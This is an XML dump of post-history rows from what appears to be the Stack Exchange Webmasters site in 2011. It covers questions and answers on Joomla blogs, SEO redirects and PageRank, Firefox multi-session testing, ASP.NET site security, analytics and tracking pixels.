  <row Id="25128" PostHistoryTypeId="1" PostId="11142" RevisionGUID="c6511a07-e262-4d4e-8e46-83efc4b17ab1" CreationDate="2011-03-24T08:40:12.310" UserId="6312" Text="Joomla: How to create a blog of articles from multiple categories?" />
  <row Id="25129" PostHistoryTypeId="3" PostId="11142" RevisionGUID="c6511a07-e262-4d4e-8e46-83efc4b17ab1" CreationDate="2011-03-24T08:40:12.310" UserId="6312" Text="&lt;blog&gt;&lt;joomla&gt;&lt;section&gt;" />
  <row Id="25130" PostHistoryTypeId="5" PostId="11142" RevisionGUID="a7baea70-18ae-40e6-a080-141ea56591d0" CreationDate="2011-03-24T08:54:54.763" UserId="6312" Comment="minor fix" Text="I need to gather articles from multiple categories into the single blog feed.&#xD;&#xA;&#xD;&#xA;For example, I need this structure ...&#xD;&#xA;&#xD;&#xA;    Section 1&#xD;&#xA;      Category 1.1&#xD;&#xA;        Article 1.1.1 (20 apr 2011)&#xD;&#xA;        Article 1.1.2 (10 apr 2011)&#xD;&#xA;      Category 1.2&#xD;&#xA;        Article 1.2.1 (15 apr 2011)&#xD;&#xA;      Category 1.3&#xD;&#xA;        Article 1.3.1 (25 apr 2011)&#xD;&#xA;        &#xD;&#xA;... to be displayed in a single feed as&#xD;&#xA;  &#xD;&#xA;    Article 1.3.1 (25 apr 2011)&#xD;&#xA;    Article 1.1.1 (20 apr 2011)&#xD;&#xA;    Article 1.2.1 (15 apr 2011)&#xD;&#xA;    Article 1.1.2 (10 apr 2011)&#xD;&#xA;&#xD;&#xA;(sorted by the date of articles)&#xD;&#xA;&#xD;&#xA;I tried to use &quot;Section Blog&quot; type for my menu item, but I can't understand its methods of sorting articles. I tried to sort them by date, but my section blog displaying it category by category, not article by article:&#xD;&#xA;&#xD;&#xA;    Article 1.1.1 (20 apr 2011)&#xD;&#xA;    Article 1.1.2 (10 apr 2011)&#xD;&#xA;    Article 1.2.1 (15 apr 2011)&#xD;&#xA;    Article 1.3.1 (25 apr 2011)&#xD;&#xA;&#xD;&#xA;Maybe I should install some extension to do that?&#xD;&#xA;&#xD;&#xA;Joomla 1.5.22&#xD;&#xA;" />
  <row Id="25131" PostHistoryTypeId="2" PostId="11143" RevisionGUID="37802c80-882c-423c-8a1b-f64e9d2d2390" CreationDate="2011-03-24T09:17:11.823" UserId="6301" Text="Found it myself... actually quite stupid.&#xD;&#xA;The language files of a template are moved to the folder 'language' in the Joomla root. And these are the ones I should edit, not the ones in the template's folder." />
  <row Id="25132" PostHistoryTypeId="2" PostId="11144" RevisionGUID="771428c2-8965-4104-9cdc-c4e26920dcca" CreationDate="2011-03-24T09:19:52.727" UserId="1643" Text="I'm not sure which gradient you mean, but the background for the body is an image:&#xD;&#xA;http://www.tumblr.com/images/status_bg.png?2&#xD;&#xA;&#xD;&#xA;The footer (&quot;30 reasons you'll love Tumblr&quot;) has a gradient on top of the background colour: http://www.tumblr.com/images/register_login/emboss_lip.png&#xD;&#xA;&#xD;&#xA;The gradient and rounded corners on the input elements themselves are in this file&#xD;&#xA;http://www.tumblr.com/images/register_login/input.png.&#xD;&#xA;The file looks like three boxes one above the other and they use a technique called CSS sprites, where the offset of the image is changed by Javascript so a different box switches into the space where the text box goes when you click in it. Specifically the CSS &quot;background-position: left -136px;&quot; is applied. It's hard to explain in words without pictures!&#xD;&#xA;&#xD;&#xA;Another interesting technique that they've done is to put the label for the input elements in the same place as the element (e.g. &quot;Email address&quot;) saving space.&#xD;&#xA;&#xD;&#xA;The submit button uses this image:&#xD;&#xA;http://www.tumblr.com/images/register_login/button_submit.gif&#xD;&#xA;" />
  <row Id="25133" PostHistoryTypeId="2" PostId="11145" RevisionGUID="f5f209c5-3ca8-4b51-8326-fb5ddb6c55f0" CreationDate="2011-03-24T09:32:11.610" UserId="6313" Text="I have a site which was performing well in the search engines - I wanted to redevelop the site, so in the interim period I set up a redirect from my site to my parent company's site (which has a small section relating to my services). Fairly quickly, this section of the parent site inherited my seo ranking, backlinks etc, which is fine and is what I expected. However, I now have a new site ready and plan to remove the redirect - do you know how this is likely to affect my site? Many thanks" />
  <row Id="25134" PostHistoryTypeId="1" PostId="11145" RevisionGUID="f5f209c5-3ca8-4b51-8326-fb5ddb6c55f0" CreationDate="2011-03-24T09:32:11.610" UserId="6313" Text="SEO on site temporarily redirected, then re-enabled" />
  <row Id="25135" PostHistoryTypeId="3" PostId="11145" RevisionGUID="f5f209c5-3ca8-4b51-8326-fb5ddb6c55f0" CreationDate="2011-03-24T09:32:11.610" UserId="6313" Text="&lt;seo&gt;" />
  <row Id="25136" PostHistoryTypeId="2" PostId="11146" RevisionGUID="52e5948b-4dfa-4606-a05a-356f5a0761a8" CreationDate="2011-03-24T10:13:23.090" UserId="908" Text="I'd like to test my website as different users simultaneously, ideally on Firefox. Currently the only ways I know of doing this are&#xD;&#xA;&#xD;&#xA;1. Using different browsers&#xD;&#xA;1. Using profiles with FF&#xD;&#xA;&#xD;&#xA;It's frustrating using FF profiles as you have to reinstall all your development plugins, which then each need to update individually. What I'm really looking for is a simple developer tool that lets me open a FF window that keeps its cookies completely separate from the main FF instance. Ideally it would also make that window stand out in some way to help me differentiate, but that I can live without ;)&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="25137" PostHistoryTypeId="1" PostId="11146" RevisionGUID="52e5948b-4dfa-4606-a05a-356f5a0761a8" CreationDate="2011-03-24T10:13:23.090" UserId="908" Text="How can I have multiple sessions in FF without using profiles?" />
  <row Id="25138" PostHistoryTypeId="3" PostId="11146" RevisionGUID="52e5948b-4dfa-4606-a05a-356f5a0761a8" CreationDate="2011-03-24T10:13:23.090" UserId="908" Text="&lt;firefox&gt;&lt;testing&gt;&lt;development&gt;&lt;session&gt;" />
  <row Id="25139" PostHistoryTypeId="25" PostId="11135" RevisionGUID="c33947c6-84cb-43fc-9250-3b7d09f4ab32" CreationDate="2011-03-24T11:30:28.750" Comment="http://twitter.com/#!/StackWebmasters/status/50882167202516992" />
  <row Id="25140" PostHistoryTypeId="2" PostId="11147" RevisionGUID="a2109d58-80d4-4415-9212-33ad9dc3699e" CreationDate="2011-03-24T12:08:18.323" UserId="1253" Text="PageRank has nothing to do with relevancy. It only has to do with link popularity, So links from off topic pages are worth the same as an off topic page assuming they have the same PR. However, keep in mind that this probably won't help your rankings since those links will have little value towards your page's ranking and PR has very little affect on ranking anymore. So basically those links won't do much of of anything for you SEO wise if they even do anything at all." />
  <row Id="25141" PostHistoryTypeId="2" PostId="11148" RevisionGUID="0cd78cb1-f776-41b1-a050-94c509eef0b4" CreationDate="2011-03-24T12:34:24.810" UserId="1643" Text="I haven't used it, but this extension looks like it does what you want: http://br.mozdev.org/multifox/" />
  <row Id="25142" PostHistoryTypeId="2" PostId="11149" RevisionGUID="f5436dcc-ce09-4bd0-9368-8db9c98ea17c" CreationDate="2011-03-24T12:36:05.537" UserId="3659" Text="Install Google Chrome and open the browser. Login as user one. Click File &gt;&gt; New Incognito Window. Login as user 2." />
  <row Id="25143" PostHistoryTypeId="17" PostId="11151" RevisionGUID="fee463b3-cb8c-45cf-be5b-81ad97d4285a" CreationDate="2011-03-24T12:46:17.433" UserId="-1" Comment="from http://stackoverflow.com/questions/5412108/website-security/5412142#5412142" Text="" />
  <row Id="25144" PostHistoryTypeId="17" PostId="11152" RevisionGUID="d3708107-df4d-4c3c-a608-764bafd1ec82" CreationDate="2011-03-24T12:46:17.433" UserId="-1" Comment="from http://stackoverflow.com/questions/5412108/website-security/5412170#5412170" Text="" />
  <row Id="25145" PostHistoryTypeId="17" PostId="11153" RevisionGUID="34007b4c-8ad5-429f-8fd3-1cc7d6860744" CreationDate="2011-03-24T12:46:17.433" UserId="-1" Comment="from http://stackoverflow.com/questions/5412108/website-security/5412205#5412205" Text="" />
  <row Id="25146" PostHistoryTypeId="2" PostId="11151" RevisionGUID="2888dcdd-4846-44fa-9beb-1058c075831a" CreationDate="2011-03-23T21:59:24.127" UserId="3620" Text="I have to say, I think adding an extra layer is a bad idea.  Perhaps you could have a global check on Application_Start in Global.asax to ensure Membership is hooked up and operational?  If not, show an error message?&#xD;&#xA;&#xD;&#xA;Regarding browsing for files, you can secure files at the folder level using ASP.NET Membership roles." />
  <row Id="25147" PostHistoryTypeId="2" PostId="11152" RevisionGUID="ff84b636-b01d-4584-9eaf-1bcb73d6bd81" CreationDate="2011-03-23T22:02:42.643" UserDisplayName="Kelsey" Text="I think you might be approaching this from the wrong direction.  Whatever measure you come up with will most likely not be as secure as the built in security that is turned off and might just open up another avenue for getting in even.&#xD;&#xA;&#xD;&#xA;Put in place measures to check that the security is working and do not allow the application to work if it is not." />
  <row Id="25148" PostHistoryTypeId="2" PostId="11153" RevisionGUID="0bd9c7a6-795b-4047-a2c7-0a5842f723fe" CreationDate="2011-03-23T22:05:46.283" UserDisplayName="Andy Finkenstadt" Text="The simplest way to show that additional site security is wasted, is to disable the ASP component of IIS.  Boom, `all of your source code are belong to us`." />
  <row Id="25149" PostHistoryTypeId="2" PostId="11150" RevisionGUID="da8907e7-17c4-4215-aa11-0fca10e548d5" CreationDate="2011-03-23T21:54:58.747" UserDisplayName="Curtis White" Text="I have a website which uses membership/roles for security. However, I really want this site to be secure. My concern is one day something happens to server and the membership/roles is turned off.&#xD;&#xA;&#xD;&#xA;Is there anyway that I could add an additional layer of security to website that would not be too intrusive?&#xD;&#xA;&#xD;&#xA;This would be &quot;on-top&quot; of the ASP.NET security. My thought would be maybe a session cookie that is sent when a password is answered correctly.&#xD;&#xA;&#xD;&#xA;Looking for ideas. I primarily want keep the site secure even if the security on the website is turned off. In worst case scenario, I imagine that someone might could even browse the files. This would require me to put the check in every page which sounds very cumbersome and a hack." />
  <row Id="25150" PostHistoryTypeId="1" PostId="11150" RevisionGUID="da8907e7-17c4-4215-aa11-0fca10e548d5" CreationDate="2011-03-23T21:54:58.747" UserDisplayName="Curtis White" Text="Website security" />
  <row Id="25151" PostHistoryTypeId="3" PostId="11150" RevisionGUID="da8907e7-17c4-4215-aa11-0fca10e548d5" CreationDate="2011-03-23T21:54:58.747" UserDisplayName="Curtis White" Text="&lt;asp.net&gt;&lt;security&gt;" />
  <row Id="25152" PostHistoryTypeId="17" PostId="11150" RevisionGUID="40980b4c-3de0-4e18-afd0-69cea8b97296" CreationDate="2011-03-24T12:46:17.433" UserId="-1" Comment="from http://stackoverflow.com/questions/5412108/website-security" Text="" />
  <row Id="25153" PostHistoryTypeId="2" PostId="11154" RevisionGUID="1d73978f-6656-4d68-b054-0e3b255daae7" CreationDate="2011-03-24T12:47:10.033" UserId="3659" Text="Or: Recommended. Or: Editors pick / webmasters pick / Best value / etc" />
  <row Id="25154" PostHistoryTypeId="2" PostId="11155" RevisionGUID="d9aa8ec0-34a4-421f-93dc-a069a52f58fb" CreationDate="2011-03-24T13:08:42.987" UserId="6315" Text="We have our website as site.com, and the mobile version at m.site.com&#xD;&#xA;&#xD;&#xA;When the user arrives, we detect the mobile from the user agent and redirects to the corresponding page there; for exemple from &#xD;&#xA;&#xD;&#xA;&gt; site.com/some/stuff&#xD;&#xA;&#xD;&#xA;to &#xD;&#xA;&#xD;&#xA;&gt; m.site.com/some/stuff&#xD;&#xA;&#xD;&#xA;My problem here is that not every article we have is published on the mobile version and I'm not sure how I should be handling cases where there is no correspondance (/some/stuff doesn't exists on the mobile version).&#xD;&#xA;&#xD;&#xA;Should I be:&#xD;&#xA;&#xD;&#xA; 1. Redirect to the url on mobile version, which then 404 (lots of 404 ? doesn't seem right)&#xD;&#xA; 2. Redirect to the url on mobile version, which then 301 to mobile home (no 404 pages on the mobile version ? doesn't seem right)&#xD;&#xA; 3. Redirect the url that doesn't exist on mobile to the mobile home, and keep the correspondance for those that exists (lots of page redirected to mobile home for google mobile ...)&#xD;&#xA; 4. Not redirect if there is no correspondance (mobile gets sent the full website ? ...)&#xD;&#xA;&#xD;&#xA;None of those solutions seems good to me, so how do you guys handle it ? What should I be doing to avoid crippling the seo ranking of our website ?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="25155" PostHistoryTypeId="1" PostId="11155" RevisionGUID="d9aa8ec0-34a4-421f-93dc-a069a52f58fb" CreationDate="2011-03-24T13:08:42.987" UserId="6315" Text="SEO: how to handle the redirect page to mobile website when there is no equivalent" />
  <row Id="25156" PostHistoryTypeId="3" PostId="11155" RevisionGUID="d9aa8ec0-34a4-421f-93dc-a069a52f58fb" CreationDate="2011-03-24T13:08:42.987" UserId="6315" Text="&lt;seo&gt;&lt;redirects&gt;&lt;mobile&gt;" />
  <row Id="25157" PostHistoryTypeId="17" PostId="11157" RevisionGUID="c0509450-40f6-4905-a951-d7096f477a78" CreationDate="2011-03-24T13:16:42.847" UserId="-1" Comment="from http://stackoverflow.com/questions/2193143/web-analytics-with-path-click-analysis/2193364#2193364" Text="" />
  <row Id="25158" PostHistoryTypeId="17" PostId="11158" RevisionGUID="4f0fef88-3b99-4313-a447-c8b45304e61b" CreationDate="2011-03-24T13:16:42.847" UserId="-1" Comment="from http://stackoverflow.com/questions/2193143/web-analytics-with-path-click-analysis/5410572#5410572" Text="" />
  <row Id="25159" PostHistoryTypeId="2" PostId="11157" RevisionGUID="5f3b661c-ad19-43d6-900e-831d78e65446" CreationDate="2010-02-03T16:09:45.353" UserId="1814" Text="Take a look at Google Analytics." />
  <row Id="25160" PostHistoryTypeId="2" PostId="11158" RevisionGUID="6d7379b2-5293-412b-9ffa-9640806c1dfb" CreationDate="2011-03-23T19:29:23.250" UserDisplayName="Lisa Simpson" Text="Google analytics sucks, IMHO, at click paths.  Click paths are necessary for optimizing navigation and seeing where people are &quot;hanging up&quot; and either leaving the site or returning to the home page.  I'm looking for something myself to track click paths.  " />
  <row Id="25161" PostHistoryTypeId="2" PostId="11156" RevisionGUID="a9c9c4e4-93e5-4124-a43c-44b59ef90bf4" CreationDate="2010-02-03T15:42:57.117" UserDisplayName="Nigel" Text="trying to look for an web analytics service(preferably free) which gets the usual stuff, browser, hits, OS, etc.&#xD;&#xA;&#xD;&#xA;in addition, it needs be able to track user click paths, and some how be able to tie in with my own database, maybe perhaps pass in JSON objects similar to PIWIK.  i am tracking user click paths strictly for debugging purposes so i can figure out what a user was doing to get particular errors etc.&#xD;&#xA;&#xD;&#xA;i've searched for quite a few tools and have not been able to find any, or perhaps someone can recommend that there are other better ways i can use to debug what a user has done.&#xD;&#xA;&#xD;&#xA;basically i'm looking for a web analytics tool which does what i have just described.  Clicky seems to be rather good, any other better alternatives?" />
  <row Id="25162" PostHistoryTypeId="1" PostId="11156" RevisionGUID="a9c9c4e4-93e5-4124-a43c-44b59ef90bf4" CreationDate="2010-02-03T15:42:57.117" UserDisplayName="Nigel" Text="web analytics with path click analysis" />
  <row Id="25163" PostHistoryTypeId="3" PostId="11156" RevisionGUID="a9c9c4e4-93e5-4124-a43c-44b59ef90bf4" CreationDate="2010-02-03T15:42:57.117" UserDisplayName="Nigel" Text="&lt;web&gt;" />
  <row Id="25164" PostHistoryTypeId="17" PostId="11156" RevisionGUID="4e7ef00d-d7c0-4f59-9099-408e325394ed" CreationDate="2011-03-24T13:16:42.847" UserId="-1" Comment="from http://stackoverflow.com/questions/2193143/web-analytics-with-path-click-analysis" Text="" />
  <row Id="25165" PostHistoryTypeId="2" PostId="11159" RevisionGUID="5b97d18d-6e99-453f-9638-ca48fc16975e" CreationDate="2011-03-24T14:15:27.657" UserId="3461" Text="Seems is not youtube's fault but something of your site, some plugin or Drupal setting. It's simply a preloading image, that in modern browsers shows just the &quot;loading&quot; text part while it is preloading something (tried with IEtester, it does not only happen with youtube clips,it's global)  it loads a div or other element -have not checked- which has a huge extension, probably at full page, and shows transparent in these modern browsers due this exact line of css:  `background:transparent url(loading.png) no-repeat scroll 0 0;` , but iE6, as long as I remember, does not support the transparent attribute, so, shows black. My solution would be alternative css code, or a javascript loading a totally different css, etc, or alternative html when calling it. Another solution might be just deactivate the plugin/feature of your drupal site, find where it's being activated, seems a gobal value, so should be easy.&#xD;&#xA;&#xD;&#xA;The thing happens at boxplus.css , in this block.&#xD;&#xA;&#xD;&#xA;    /* Progress indicator */&#xD;&#xA;    #boxplus .boxplus-dialog .boxplus-progress {&#xD;&#xA;    position:absolute;&#xD;&#xA;    left:0;&#xD;&#xA;    right:0;&#xD;&#xA;    top:0;&#xD;&#xA;    bottom:0;&#xD;&#xA;    height:32px;&#xD;&#xA;    width:32px;&#xD;&#xA;    margin:auto;&#xD;&#xA;    background:transparent url(loading.png) no-repeat scroll 0 0;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So, dig for &quot;progress indicator&quot; feature, deactivate it, or tweak the html or css to support IE6. Should be pretty easy for anyone having some html/css knowledge, provided you tried first the &quot;GUI&quot; way of simply touching the drupal plugin.&#xD;&#xA;&#xD;&#xA;Edit: Doing it &quot;by hand&quot;, the hard way, it'd be making just a full page div, and try first just setting no background property at all, and use a small transparent gif (if know how to do smooth aliased borders with a gif, I mean, not being too sharp) instead of the png. And of course, all conditional css/html needed.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25166" PostHistoryTypeId="25" PostId="11155" RevisionGUID="c644bf52-cb02-44dc-a9fe-a7cdf8115d47" CreationDate="2011-03-24T14:30:28.930" Comment="http://twitter.com/#!/StackWebmasters/status/50927466470055936" />
  <row Id="25167" PostHistoryTypeId="2" PostId="11160" RevisionGUID="e1cc97d5-7d02-42b5-b3a7-b521b41eda55" CreationDate="2011-03-24T15:19:54.703" UserId="2626" Text="After spending much time attempting to research this growing issue, we've come to the conclusion that there doesn't seem to be any one set of standards and rules when applying tracking pixels/cookies.&#xD;&#xA;&#xD;&#xA;In fact, it seems to be a topic that no one wants to talk about. The [web's dirty little secret][1].&#xD;&#xA;&#xD;&#xA;Browser companies, though, are [getting into the game][2] with functionality which allows users to disable tracking cookies from being installed during their page visits.&#xD;&#xA;&#xD;&#xA;As a company, we have decided on two standard ideas when applying tracking pixels:&#xD;&#xA;&#xD;&#xA; - **Allow as few pixels as possible per page.** - This idea stems from the fact that allowing too many pixels on a page not only adversely affects the pageload and network calls the client has to make, but also restricts how overboard the Marketing experts are allowed to go.&#xD;&#xA; - **Wrap ALL external tracking pixels in a Javascript container function** - This allows us to add pixels to the page *after* the rest of the DOM has loaded, so that we do not negatively impact the user's experience when they load our page.&#xD;&#xA;&#xD;&#xA;We developed an in-house management system for these pixels, which has allowed us to more easily restrict what pages show what external pixels/scripts using regex values.&#xD;&#xA;&#xD;&#xA;Hopefully as this becomes more and more of a hot topic, open standards will be reached, and we can all move on with our lives.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.techi.com/2011/02/how-we-are-tracked-online/&#xD;&#xA;  [2]: http://lifehacker.com/#!5767080/what-do-not-track-is-and-why-its-important" />
  <row Id="25168" PostHistoryTypeId="2" PostId="11161" RevisionGUID="428d346b-bc55-43f9-8003-8170356b7b4d" CreationDate="2011-03-24T15:25:35.507" UserId="6252" Text="PageRank is very different today than what it used to be. PageRank is the primary driver for ranking or credibility in the eyes of search engines. Rather it's only part of the equation. &#xD;&#xA;&#xD;&#xA;Honestly I highly doubt anyone can give you an accurate answer other than google. &#xD;&#xA;&#xD;&#xA;But if you are inquiring whether it serves any purpose for you to acquire links from irrelevant pages then yes it can help. It all comes down to your entire profile of backlinks as opposed to individual. With that being said if your profile only consists of irrelevant links or mostly irrelevant links then that may not work in your favor.&#xD;&#xA;&#xD;&#xA;Another important thing to keep in mind is that PageRank is overrated now a days. It's a very helpful tool indeed but it's not a primary driver. In my niche top 8 results out of 10 are from sites which vary from pagerank 2 to 4. 6 of them have PR of 2 or 3. 2 have PR 4. Top 3 do not have a PR 4. Again this is a VERY small set of example. &#xD;&#xA;&#xD;&#xA;In my opinion every link is important and worthwhile. Just make sure you have an overall long-term strategy in mind and work on improving the entire profile rather than just obsessing over one type of link such as link exchanges or link buying." />
  <row Id="25169" PostHistoryTypeId="5" PostId="11147" RevisionGUID="fe5a8b41-c6d8-4244-9c62-27a9eeb7346e" CreationDate="2011-03-24T15:39:57.060" UserId="1253" Comment="added 1084 characters in body; added 718 characters in body" Text="PageRank has nothing to do with relevancy. It only has to do with link popularity, So links from off topic pages are worth the same as an off topic page assuming they have the same PR. However, keep in mind that this probably won't help your rankings since those links will have little value towards your page's ranking and PR has very little affect on ranking anymore. So basically those links won't do much of of anything for you SEO wise if they even do anything at all.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;Do to obvious confusion between PageRank and a page's ranking I'm going to provide more information.&#xD;&#xA;&#xD;&#xA;PageRank is a numerical representation of a page's link popularity. Not it's relevance for any given search term or anything else you may want to associate it with (i.e. reputation, etc). Any link that is not `nofollow`, regardless of the location of the link or the content of the page it is on, will pass PR to any other page it links to also regardless of the location of the link or the content of the receiving page. This means all things being equal (identical PR, identical external links) a link from an unrelated page with a PR of 4 will be of equal value as a link from a related page with a PR of 4 **when referring to PageRank *and not a page's ranking***. &#xD;&#xA;&#xD;&#xA;Now if you are concerned about your **page's ranking** then relevancy of the link will be a factor. So, using the same example above, the link from the PR4 page that is relevant to yours will carry much more weight then the unrelated page when it comes to determining your *page's ranking*.&#xD;&#xA;&#xD;&#xA;So if your goal is to increase your PageRank, then any link will help you. This includes links from unrelated pages.&#xD;&#xA;&#xD;&#xA;If your goal is to improve the ranking of your pages then these unrelated links will not benefit you. Yes, it will increase your PR, but PR is just one of many ranking factors and it seems that nowadays it's not a very important one.&#xD;&#xA;&#xD;&#xA;PageRank is a [published formula][1]. The only portion of it that *may* have changed is the dampening factor. But this otherwise clearly explains how PR works and that it is only a reflection of link popularity and **nothing else**. Remember, this is the *PageRank formula*, not Google *ranking algorithm*.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/PageRank" />
  <row Id="25170" PostHistoryTypeId="5" PostId="11161" RevisionGUID="81e33763-d261-4254-9f71-46935d042773" CreationDate="2011-03-24T15:45:23.623" UserId="6252" Comment="added 4 characters in body" Text="PageRank is very different today than what it used to be. PageRank is NOT the primary driver for ranking or credibility in the eyes of search engines. Rather it's only part of the equation. &#xD;&#xA;&#xD;&#xA;Honestly I highly doubt anyone can give you an accurate answer other than google. &#xD;&#xA;&#xD;&#xA;But if you are inquiring whether it serves any purpose for you to acquire links from irrelevant pages then yes it can help. It all comes down to your entire profile of backlinks as opposed to individual. With that being said if your profile only consists of irrelevant links or mostly irrelevant links then that may not work in your favor.&#xD;&#xA;&#xD;&#xA;Another important thing to keep in mind is that PageRank is overrated now a days. It's a very helpful tool indeed but it's not a primary driver. In my niche top 8 results out of 10 are from sites which vary from pagerank 2 to 4. 6 of them have PR of 2 or 3. 2 have PR 4. Top 3 do not have a PR 4. Again this is a VERY small set of example. &#xD;&#xA;&#xD;&#xA;In my opinion every link is important and worthwhile. Just make sure you have an overall long-term strategy in mind and work on improving the entire profile rather than just obsessing over one type of link such as link exchanges or link buying." />
  <row Id="25171" PostHistoryTypeId="2" PostId="11162" RevisionGUID="df72eed5-042b-4c83-8d81-1fad7d69c4b3" CreationDate="2011-03-24T16:06:30.000" UserId="6320" Text="does anyone have details on the reliability of sites like biznut.co.uk, bizinformation.com, bizinformatsiya.ru? i used these sites for comparing russian with us- or uk-based sites, but have no idea what their reputation is." />
  <row Id="25175" PostHistoryTypeId="2" PostId="11164" RevisionGUID="9649e619-c49c-4281-b55a-ba62d51f1c45" CreationDate="2011-03-24T16:19:11.363" UserId="6321" Text="Not long ago I saw a website that had a top notification bar that was provided by a third party, customizable and all by I can't for the life of me remember what those guys were called. I'm looking for something similar to what the &quot;Stack&quot; website have (including this one) when visiting the first time. Just a simple bar that can be dismissed or slit closed.&#xD;&#xA;&#xD;&#xA;Any answers appreciated." />
  <row Id="25176" PostHistoryTypeId="1" PostId="11164" RevisionGUID="9649e619-c49c-4281-b55a-ba62d51f1c45" CreationDate="2011-03-24T16:19:11.363" UserId="6321" Text="Looking for the name of a top bar notification provider" />
  <row Id="25177" PostHistoryTypeId="3" PostId="11164" RevisionGUID="9649e619-c49c-4281-b55a-ba62d51f1c45" CreationDate="2011-03-24T16:19:11.363" UserId="6321" Text="&lt;websites&gt;&lt;notification&gt;" />
  <row Id="25178" PostHistoryTypeId="2" PostId="11165" RevisionGUID="e1970987-731d-4bc1-8ede-c408b0adcf5d" CreationDate="2011-03-24T16:23:38.673" UserId="3659" Text="As a SEO you can benefit from Social Media activities and it even seems key according to &lt;a href=&quot;http://www.goboozo.com/2011/03/matt-cutts-on-seo-in-2011/&quot;&gt;Matt Cutts recent video on SEO in 2011&lt;/a&gt;. However besides getting 'inbound links' from third party websites or blogs as a result of people that have noticed e.g. your Twitter Tweet or Facebook Post you will, most likely, also receive links from the social media pages itself.&#xD;&#xA;&#xD;&#xA;**Now, when talking about 'link-value' would Googlebot consider a link from a Social Media page the same value as a link from a website or blog?**&#xD;&#xA;&#xD;&#xA;Please note: It goes without saying that I understand that the page must be publicly visible, not restricted by e.g. htaccess, should be lacking no-follow tags and that in case an url is shortened it should be done by applying the appropriate redirect. The question is solely about the valuation of a link published on a social media platform." />
  <row Id="25179" PostHistoryTypeId="1" PostId="11165" RevisionGUID="e1970987-731d-4bc1-8ede-c408b0adcf5d" CreationDate="2011-03-24T16:23:38.673" UserId="3659" Text="Link value of links from social media" />
  <row Id="25180" PostHistoryTypeId="3" PostId="11165" RevisionGUID="e1970987-731d-4bc1-8ede-c408b0adcf5d" CreationDate="2011-03-24T16:23:38.673" UserId="3659" Text="&lt;seo&gt;&lt;links&gt;&lt;social-media&gt;&lt;value&gt;" />
  <row Id="25181" PostHistoryTypeId="2" PostId="11166" RevisionGUID="f0f08e69-cf33-4f08-b2c3-2b48985091d0" CreationDate="2011-03-24T16:26:46.880" UserId="1253" Text="There is no such thing as a link from a social media page to Google. The page, not the website, is either relevant to your search term or not. It doesn't matter if it's on a blog, forum, article, social platform, or whatever else you can think of. Just being on a social site, or any other site, means nothing. It's the quality and relevance of the page the links are on that matters." />
  <row Id="25182" PostHistoryTypeId="5" PostId="11166" RevisionGUID="5306c773-2f23-41f7-8fbd-4dd4df598539" CreationDate="2011-03-24T16:32:05.660" UserId="1253" Comment="added 3 characters in body; added 20 characters in body" Text="There is no such thing as a link from a social media website as far as Google is concerned. The page, not the website, is either relevant to your search term or not. It doesn't matter if it's on a blog, forum, article, social platform, or whatever else you can think of. Just being on a social site, or any other site, means nothing. It's the quality and relevance of the page the links are on that matters." />
  <row Id="25190" PostHistoryTypeId="2" PostId="11168" RevisionGUID="f7a0f846-37af-49d0-9a3a-18ad2773b103" CreationDate="2011-03-24T16:40:17.300" UserId="6322" Text="## My Problem ##&#xD;&#xA;&#xD;&#xA;I have a main Google Analytics profile that tracks all the visits for my site. The tracking has been verified by Google for my main report and those stats are collecting correctly.&#xD;&#xA;&#xD;&#xA;I am now trying to create filtered profiles for sub-directories of my site. When I view these profiles they say &quot;&lt;b&gt;Tracking Not Installed&lt;/b&gt;&quot;.&#xD;&#xA;&#xD;&#xA;## My Question ##&#xD;&#xA;&#xD;&#xA;Why would Google verify that tracking exists for some profiles and not others?&#xD;&#xA;&#xD;&#xA;## What I have already done ##&#xD;&#xA;&#xD;&#xA; 1. Made sure UA is correct&#xD;&#xA; 2. Checked, using firebug, that when the page is loaded `&lt;script src=&quot;http://www.google-analytics.com/ga.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;` is added to the header&#xD;&#xA; 3. Installed GA-Debug in chrome to make sure data is being pushed to Google&#xD;&#xA; 4. Checked the setup of my filters to make sure they are correct&#xD;&#xA;&#xD;&#xA;## Possible issues##&#xD;&#xA;&#xD;&#xA; - This is a non-standard installation of GA which calls to multiple UA codes hosted as an external script&#xD;&#xA; - Uses jQuery and there is more than one instance of jQuery being called&#xD;&#xA; - Is working for other sites, this is just an odd case&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25191" PostHistoryTypeId="1" PostId="11168" RevisionGUID="f7a0f846-37af-49d0-9a3a-18ad2773b103" CreationDate="2011-03-24T16:40:17.300" UserId="6322" Text="Google Analytics: Tracking Status of profiles that have filters" />
  <row Id="25192" PostHistoryTypeId="3" PostId="11168" RevisionGUID="f7a0f846-37af-49d0-9a3a-18ad2773b103" CreationDate="2011-03-24T16:40:17.300" UserId="6322" Text="&lt;google-analytics&gt;" />
  <row Id="25193" PostHistoryTypeId="5" PostId="8603" RevisionGUID="48bb6b57-3d52-4241-957d-b8e0702f53e9" CreationDate="2011-03-24T16:40:49.457" UserId="3111" Comment="added 44 characters in body" Text="Does your site work over Opera Mini? If so, you can provide them with another option if they are willing to really access your site now - ask them to access your site via [Opera Mini][1].  As it is just as good as a real browser.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mini.opera.com" />
  <row Id="25194" PostHistoryTypeId="2" PostId="11169" RevisionGUID="2e63b783-f775-4036-9442-37c686047fbd" CreationDate="2011-03-24T16:53:40.893" UserId="5727" Text="http://tympanus.net/Development/jbar/" />
